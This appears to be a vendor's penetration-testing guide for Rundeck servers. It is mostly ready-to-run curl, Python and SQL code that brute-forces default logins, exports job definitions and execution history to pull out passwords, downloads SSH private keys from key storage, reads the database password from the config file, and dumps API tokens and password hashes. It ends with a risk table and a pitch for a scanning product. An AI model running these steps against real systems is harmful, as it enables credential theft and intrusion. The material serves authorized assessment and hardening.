Rundeck is a widely deployed operations automation and job scheduling platform — organizations use it to automate deployment scripts, database maintenance, and infrastructure operations that run with privileged service accounts. Key assessment areas: admin/admin default credentials are common; job definitions contain embedded passwords in script arguments; the key storage vault holds SSH keys and passwords used by jobs; and MySQL provides all API tokens and execution history with command arguments. This guide covers systematic Rundeck security assessment.
# Rundeck — default credentials and API token enumeration
RD_URL="https://rundeck.example.com"
# /api/40/system/info — version and system information (often unauthenticated)
curl -s "${RD_URL}/api/40/system/info" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
s=d.get('system',{})
print(f'Rundeck: {s.get(\"rundeck\",{}).get(\"version\")}')
print(f'OS: {s.get(\"os\",{}).get(\"arch\")}')
print(f'Uptime: {s.get(\"rundeck\",{}).get(\"build\",{}).get(\"date\")}')
except: pass
" 2>/dev/null
# Test default admin credentials
for CRED in "admin:admin" "admin:password" "rundeck:rundeck" "admin:rundeck"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get session token first
TOKEN=$(curl -s -X POST "${RD_URL}/j_security_check" \
-d "j_username=${USER}&j_password=${PASS}" \
-c /tmp/rd_cookies -b /tmp/rd_cookies \
-o /dev/null -w "%{redirect_url}" 2>/dev/null)
echo "${USER}/${PASS}: redirect=${TOKEN}"
# Check if we got authenticated
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${RD_URL}/api/40/user/info" \
-b /tmp/rd_cookies 2>/dev/null)
[ "$STATUS" = "200" ] && echo " SUCCESS!"
done
# API token enumeration (requires admin access)
RD_TOKEN="your-api-token"
curl -s "${RD_URL}/api/40/tokens" \
-H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for t in d:
print(f' Token: {t.get(\"token\")[:20]}... user={t.get(\"user\")} roles={t.get(\"roles\")}')
" 2>/dev/null
# Rundeck job definitions and execution history — credential extraction
RD_URL="https://rundeck.example.com"
RD_TOKEN="your-api-token"
# List all projects
curl -s "${RD_URL}/api/40/projects" \
-H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for p in d:
print(f' Project: {p.get(\"name\")} - {p.get(\"description\",\"\")[:50]}')
" 2>/dev/null
# Export all jobs from a project (contains script definitions with credentials)
PROJECT="myproject"
curl -s "${RD_URL}/api/40/project/${PROJECT}/jobs/export?format=yaml" \
-H "X-Rundeck-Auth-Token: ${RD_TOKEN}" 2>/dev/null | \
grep -E "password|secret|key|token|credentials|CONNECTION_STRING" | head -20
# Job definitions may contain:
# - Hard-coded database passwords in script arguments
# - API keys passed as environment variables
# - SSH key file paths with service account credentials
# - AWS access keys in script steps
# Execution history — reveals command arguments with credentials
curl -s "${RD_URL}/api/40/project/${PROJECT}/executions?max=10" \
-H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for e in d.get('executions',[]):
print(f' Exec: {e.get(\"id\")} job={e.get(\"job\",{}).get(\"name\")}')
# Check job options/arguments
opts = e.get('options',{})
for k,v in opts.items():
if any(s in k.lower() for s in ['pass','key','secret','token','cred']):
print(f' SENSITIVE opt.{k}: {v[:60]}')
" 2>/dev/null
# Rundeck key storage vault and configuration assessment
RD_URL="https://rundeck.example.com"
RD_TOKEN="your-api-token"
# Key storage — Rundeck stores SSH private keys and passwords
curl -s "${RD_URL}/api/40/storage/keys/" \
-H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for item in d.get('resources',[]):
print(f' {item.get(\"path\")} type={item.get(\"meta\",{}).get(\"Rundeck-key-type\")}')
" 2>/dev/null
# Download a stored private key (if permissions allow)
KEY_PATH="keys/project/myproject/ssh_key"
curl -s "${RD_URL}/api/40/storage/${KEY_PATH}" \
-H "X-Rundeck-Auth-Token: ${RD_TOKEN}" \
-H "Accept: application/pgp-keys" 2>/dev/null | head -10
# Returns the SSH private key if the token has read access
# rundeck-config.properties — Rundeck server configuration
cat /etc/rundeck/rundeck-config.properties 2>/dev/null | grep -E "password|datasource|secret" | head -15
# dataSource.url=jdbc:mysql://localhost/rundeck?...
# dataSource.username=rundeck
# dataSource.password=... <-- MySQL password for Rundeck database
# rundeck.gui.title=...
# MySQL — extract all API tokens and user data
DB_PASS="extracted-db-password"
mysql -u rundeck -p"${DB_PASS}" rundeck 2>/dev/null << 'EOF'
-- All API auth tokens
SELECT token, user_name, date_created, auth_roles, expiration_date
FROM rundeck_auth_token
WHERE expiration_date IS NULL OR expiration_date > NOW()
ORDER BY date_created DESC
LIMIT 20;
-- All user credentials
SELECT login, password, email
FROM sec_user
LIMIT 20;
-- password: SHA256 or bcrypt hashes
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credentials | POST /j_security_check with admin/admin — full access to all projects, jobs, key storage, and system settings; all stored credentials accessible | Critical |
| Job definition credential extraction | GET /api/40/project/{project}/jobs/export — YAML job definitions with hardcoded database passwords, API keys, and AWS credentials in script arguments | High |
| Key storage SSH key and password access | GET /api/40/storage/keys/{path} — SSH private keys and passwords stored in Rundeck vault; direct server access with stored credentials | Critical |
| rundeck-config.properties MySQL credential extraction | Read /etc/rundeck/rundeck-config.properties — JDBC dataSource.password for full MySQL access; rundeck_auth_token all API tokens; sec_user password hashes | Critical |
| Execution history command argument disclosure | GET /api/40/project/{project}/executions — execution history with job option values including passwords passed as unmasked arguments | High |
Ironimo tests Rundeck deployments for admin/admin default credential detection, /api/40/system/info version disclosure without authentication, job definition YAML credential extraction (hardcoded passwords, API keys), key storage SSH private key and password access assessment, rundeck-config.properties dataSource.password extraction, MySQL rundeck_auth_token enumeration, execution history job option credential disclosure, ACL policy misconfiguration detection, webhook token enumeration, and /api/40/tokens admin API token listing.
Start free scan